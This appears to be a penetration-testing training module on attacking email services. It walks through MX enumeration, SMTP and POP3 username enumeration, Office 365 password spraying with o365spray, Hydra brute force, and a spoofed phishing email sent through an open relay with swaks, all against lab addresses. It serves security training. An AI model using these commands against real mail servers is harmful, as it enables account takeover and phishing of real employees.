Attacking Email Services
A mail server (sometimes also referred to as an email server) is a server that handles and delivers email over a network, usually over the Internet. A mail server can receive emails from a client device and send them to other mail servers. A mail server can also deliver emails to a client device. A client is usually the device where we read our emails (computers, smartphones, etc.).
When we press the Send button in our email application (email client), the program establishes a connection to an SMTP server on the network or Internet. The name SMTP stands for Simple Mail Transfer Protocol, and it is a protocol for delivering emails from clients to servers and from servers to other servers.
When we download emails to our email application, it will connect to a POP3 or IMAP4 server on the Internet, which allows the user to save messages in a server mailbox and download them periodically.
By default, POP3 clients remove downloaded messages from the email server. This behavior makes it difficult to access email on multiple devices since downloaded messages are stored on the local computer. However, we can typically configure a POP3 client to keep copies of downloaded messages on the server.
On the other hand, by default, IMAP4 clients do not remove downloaded messages from the email server. This behavior makes it easy to access email messages from multiple devices. Let's see how we can target mail servers.
Enumeration
Email servers are complex and usually require us to enumerate multiple servers, ports, and services. Furthermore, today most companies have their email services in the cloud with services such as Microsoft 365 or G-Suite. Therefore, our approach to attacking the email service depends on the service in use.
We can use the Mail eXchanger (MX) DNS record to identify a mail server. The MX record specifies the mail server responsible for accepting email messages on behalf of a domain name. It is possible to configure several MX records, typically pointing to an array of mail servers for load balancing and redundancy.
We can use tools such as host or dig and online websites such as MXToolbox to query information about the MX records:
Host - MX Records
Attacking Email Services
sasorirose@htb[/htb]$ host -t MX hackthebox.euhackthebox.eu mail is handled by 1 aspmx.l.google.com.
Attacking Email Services
sasorirose@htb[/htb]$ host -t MX microsoft.commicrosoft.com mail is handled by 10 microsoft-com.mail.protection.outlook.com.
DIG - MX Records
Attacking Email Services
sasorirose@htb[/htb]$ dig mx plaintext.do | grep "MX" | grep -v ";"plaintext.do. 7076 IN MX 50 mx3.zoho.com.
plaintext.do. 7076 IN MX 10 mx.zoho.com.
plaintext.do. 7076 IN MX 20 mx2.zoho.com.
Attacking Email Services
sasorirose@htb[/htb]$ dig mx inlanefreight.com | grep "MX" | grep -v ";"inlanefreight.com. 300 IN MX 10 mail1.inlanefreight.com.
Host - A Records
Attacking Email Services
sasorirose@htb[/htb]$ host -t A mail1.inlanefreight.htb.mail1.inlanefreight.htb has address 10.129.14.128
These MX records indicate that the first three mail services are using a cloud services G-Suite (aspmx.l.google.com), Microsoft 365 (microsoft-com.mail.protection.outlook.com), and Zoho (mx.zoho.com), and the last one may be a custom mail server hosted by the company.
This information is essential because the enumeration methods may differ from one service to another. For example, most cloud service providers use their mail server implementation and adopt modern authentication, which opens new and unique attack vectors for each service provider. On the other hand, if the company configures the service, we could uncover bad practices and misconfigurations that allow common attacks on mail server protocols.
If we are targetting a custom mail server implementation such as inlanefreight.htb, we can enumerate the following ports:
We can use Nmap's default script -sC option to enumerate those ports on the target system:
Attacking Email Services
sasorirose@htb[/htb]$ sudo nmap -Pn -sV -sC -p25,143,110,465,587,993,995 10.129.14.128Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-27 17:56 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00025s latency).
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: mail1.inlanefreight.htb, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING,
MAC Address: 00:00:00:00:00:00 (VMware)
Misconfigurations
Email services use authentication to allow users to send emails and receive emails. A misconfiguration can happen when the SMTP service allows anonymous authentication or support protocols that can be used to enumerate valid usernames.
Authentication
The SMTP server has different commands that can be used to enumerate valid usernames VRFY, EXPN, and RCPT TO. If we successfully enumerate valid usernames, we can attempt to password spray, brute-forcing, or guess a valid password. So let's explore how those commands work.
VRFY this command instructs the receiving SMTP server to check the validity of a particular email username. The server will respond, indicating if the user exists or not. This feature can be disabled.
VRFY Command
Attacking Email Services
sasorirose@htb[/htb]$ telnet 10.10.110.20 25
Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
VRFY root
252 2.0.0 root
VRFY www-data
252 2.0.0 www-data
VRFY new-user
550 5.1.1 : Recipient address rejected: User unknown in local recipient table
EXPN is similar to VRFY, except that when used with a distribution list, it will list all users on that list. This can be a bigger problem than the VRFY command since sites often have an alias such as "all."
EXPN Command
Attacking Email Services
sasorirose@htb[/htb]$ telnet 10.10.110.20 25Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
EXPN john
250 2.1.0 john@inlanefreight.htb
EXPN support-team
250 2.0.0 carol@inlanefreight.htb
250 2.1.5 elisa@inlanefreight.htb
RCPT TO identifies the recipient of the email message. This command can be repeated multiple times for a given message to deliver a single message to multiple recipients.
RCPT TO Command
Attacking Email Services
sasorirose@htb[/htb]$ telnet 10.10.110.20 25Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
220 parrot ESMTP Postfix (Debian/GNU)
MAIL FROM:test@htb.com
it is
250 2.1.0 test@htb.com... Sender ok
RCPT TO:julio
550 5.1.1 julio... User unknown
RCPT TO:kate
550 5.1.1 kate... User unknown
RCPT TO:john
250 2.1.5 john... Recipient ok
We can also use the POP3 protocol to enumerate users depending on the service implementation. For example, we can use the command USER followed by the username, and if the server responds OK. This means that the user exists on the server.
USER Command
Attacking Email Services
sasorirose@htb[/htb]$ telnet 10.10.110.20 110Trying 10.10.110.20...
Connected to 10.10.110.20.
Escape character is '^]'.
+OK POP3 Server ready
USER julio
-ERR
USER john
+OK
To automate our enumeration process, we can use a tool named smtp-user-enum. We can specify the enumeration mode with the argument -M followed by VRFY, EXPN, or RCPT, and the argument -U with a file containing the list of users we want to enumerate. Depending on the server implementation and enumeration mode, we need to add the domain for the email address with the argument -D. Finally, we specify the target with the argument -t.
Attacking Email Services
sasorirose@htb[/htb]$ smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... userlist.txt
Target count ............. 1
Username count ........... 78
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ inlanefreight.htb
######## Scan started at Thu Apr 21 06:53:07 2022 #########10.129.203.7: jose@inlanefreight.htb exists
10.129.203.7: pedro@inlanefreight.htb exists
10.129.203.7: kate@inlanefreight.htb exists
######## Scan completed at Thu Apr 21 06:53:18 2022 #########3 results.
78 queries in 11 seconds (7.1 queries / sec)
Cloud Enumeration
As discussed, cloud service providers use their own implementation for email services. Those services commonly have custom features that we can abuse for operation, such as username enumeration. Let's use Office 365 as an example and explore how we can enumerate usernames in this cloud platform.
O365spray is a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365) developed by ZDH. This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in Acknowledgments. Let's first validate if our target domain is using Office 365.
O365 Spray
Attacking Email Services
sasorirose@htb[/htb]$ python3 o365spray.py --validate --domain msplaintext.xyz *** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> validate : True
> timeout : 25 seconds
> start : 2022-04-13 09:46:40
>----------------------------------------<
[2022-04-13 09:46:40,344] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:46:40,743] INFO : [VALID] The following domain is using O365: msplaintext.xyz
Now, we can attempt to identify usernames.
Attacking Email Services
sasorirose@htb[/htb]$ python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz
*** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> enum : True
> userfile : users.txt
> enum_module : office
> rate : 10 threads
> timeout : 25 seconds
> start : 2022-04-13 09:48:03
>----------------------------------------<
[2022-04-13 09:48:03,621] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-13 09:48:04,062] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-13 09:48:04,064] INFO : Running user enumeration against 67 potential users
[2022-04-13 09:48:08,244] INFO : [VALID] lewen@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO : [VALID] juurena@msplaintext.xyz
[2022-04-13 09:48:10,415] INFO :
[ * ] Valid accounts can be found at: '/opt/o365spray/enum/enum_valid_accounts.2204130948.txt'
[ * ] All enumerated accounts can be found at: '/opt/o365spray/enum/enum_tested_accounts.2204130948.txt'
[2022-04-13 09:48:10,416] INFO : Valid Accounts: 2
Password Attacks
We can use Hydra to perform a password spray or brute force against email services such as SMTP, POP3, or IMAP4. First, we need to get a username list and a password list and specify which service we want to attack. Let us see an example for POP3.
Hydra - Password Attack
Attacking Email Services
sasorirose@htb[/htb]$ hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-04-13 11:37:46
[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!
[DATA] max 16 tasks per 1 server, overall 16 tasks, 67 login tries (l:67/p:1), ~5 tries per task
[DATA] attacking pop3://10.10.110.20:110/
[110][pop3] host: 10.129.42.197 login: john password: Company01!
1 of 1 target successfully completed, 1 valid password found
If cloud services support SMTP, POP3, or IMAP4 protocols, we may be able to attempt to perform password spray using tools like Hydra, but these tools are usually blocked. We can instead try to use custom tools such as o365spray or MailSniper for Microsoft Office 365 or CredKing for Gmail or Okta. Keep in mind that these tools need to be up-to-date because if the service provider changes something (which happens often), the tools may not work anymore. This is a perfect example of why we must understand what our tools are doing and have the know-how to modify them if they do not work properly for some reason.
O365 Spray - Password Spraying
Attacking Email Services
sasorirose@htb[/htb]$ python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz *** O365 Spray ***
>----------------------------------------<
> version : 2.0.4
> domain : msplaintext.xyz
> spray : True
> password : March2022!
> userfile : usersfound.txt
> count : 1 passwords/spray
> lockout : 1.0 minutes
> spray_module : oauth2
> rate : 10 threads
> safe : 10 locked accounts
> timeout : 25 seconds
> start : 2022-04-14 12:26:31
>----------------------------------------<
[2022-04-14 12:26:31,757] INFO : Running O365 validation for: msplaintext.xyz
[2022-04-14 12:26:32,201] INFO : [VALID] The following domain is using O365: msplaintext.xyz
[2022-04-14 12:26:32,202] INFO : Running password spray against 2 users.
[2022-04-14 12:26:32,202] INFO : Password spraying the following passwords: ['March2022!']
[2022-04-14 12:26:33,025] INFO : [VALID] lewen@msplaintext.xyz:March2022!
[2022-04-14 12:26:33,048] INFO :
[ * ] Writing valid credentials to: '/opt/o365spray/spray/spray_valid_credentials.2204141226.txt'
[ * ] All sprayed credentials can be found at: '/opt/o365spray/spray/spray_tested_credentials.2204141226.txt'
[2022-04-14 12:26:33,048] INFO : Valid Credentials: 1
Protocol Specifics Attacks
An open relay is a Simple Mail Transfer Protocol (SMTP) server, which is improperly configured and allows an unauthenticated email relay. Messaging servers that are accidentally or intentionally configured as open relays allow mail from any source to be transparently re-routed through the open relay server. This behavior masks the source of the messages and makes it look like the mail originated from the open relay server.
Open Relay
From an attacker's standpoint, we can abuse this for phishing by sending emails as non-existing users or spoofing someone else's email. For example, imagine we are targeting an enterprise with an open relay mail server, and we identify they use a specific email address to send notifications to their employees. We can send a similar email using the same address and add our phishing link with this information. With the nmap smtp-open-relay script, we can identify if an SMTP port allows an open relay.
Attacking Email Services
sasorirose@htb[/htb]# nmap -p25 -Pn --script smtp-open-relay 10.10.11.213Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-28 23:59 EDT
Nmap scan report for 10.10.11.213
Host is up (0.28s latency).
PORT STATE SERVICE
25/tcp open smtp
|_smtp-open-relay: Server is an open relay (14/16 tests)
Next, we can use any mail client to connect to the mail server and send our email.
Attacking Email Services
sasorirose@htb[/htb]# swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Company Notification' --body 'Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/' --server 10.10.11.213=== Trying 10.10.11.213:25...
=== Connected to 10.10.11.213.
<- 220 mail.localdomain SMTP Mailer ready
-> EHLO parrot
<- 250-mail.localdomain
<- 250-SIZE 33554432
<- 250-8BITMIME
<- 250-STARTTLS
<- 250-AUTH LOGIN PLAIN CRAM-MD5 CRAM-SHA1
<- 250 HELP
-> MAIL FROM:
<- 250 OK
-> RCPT TO:
<- 250 OK
-> DATA
<- 354 End data with .
-> Date: Thu, 29 Oct 2020 01:36:06 -0400
-> To: employees@inlanefreight.com
-> From: notifications@inlanefreight.com
-> Subject: Company Notification
-> Message-Id: <20201029013606.775675@parrot>
-> X-Mailer: swaks v20190914.0 jetmore.org/john/code/swaks/
->
-> Hi All, we want to hear from you! Please complete the following survey. http://mycustomphishinglink.com/
->
->
-> .
<- 250 OK
-> QUIT
<- 221 Bye
=== Connection closed with remote host. 
Latest Email Service Vulnerabilities
One of the most recent publicly disclosed and dangerous Simple Mail Transfer Protocol (SMTP) vulnerabilities was discovered in OpenSMTPD up to version 6.6.2 service was in 2020. This vulnerability was assigned CVE-2020-7247 and leads to RCE. It has been exploitable since 2018. This service has been used in many different Linux distributions, such as Debian, Fedora, FreeBSD, and others. The dangerous thing about this vulnerability is the possibility of executing system commands remotely on the system and that exploiting this vulnerability does not require authentication.
According to Shodan.io, at the time of writing (April 2022), there are over 5,000 publicly accessible OpenSMTPD servers worldwide, and the trend is growing. However, this does not mean that this vulnerability affects every service. Instead, we want to show you how significant the impact of an RCE would be in case this vulnerability were discovered now. However, of course, this applies to all other services as well.
Shodan Search
Shodan Trend
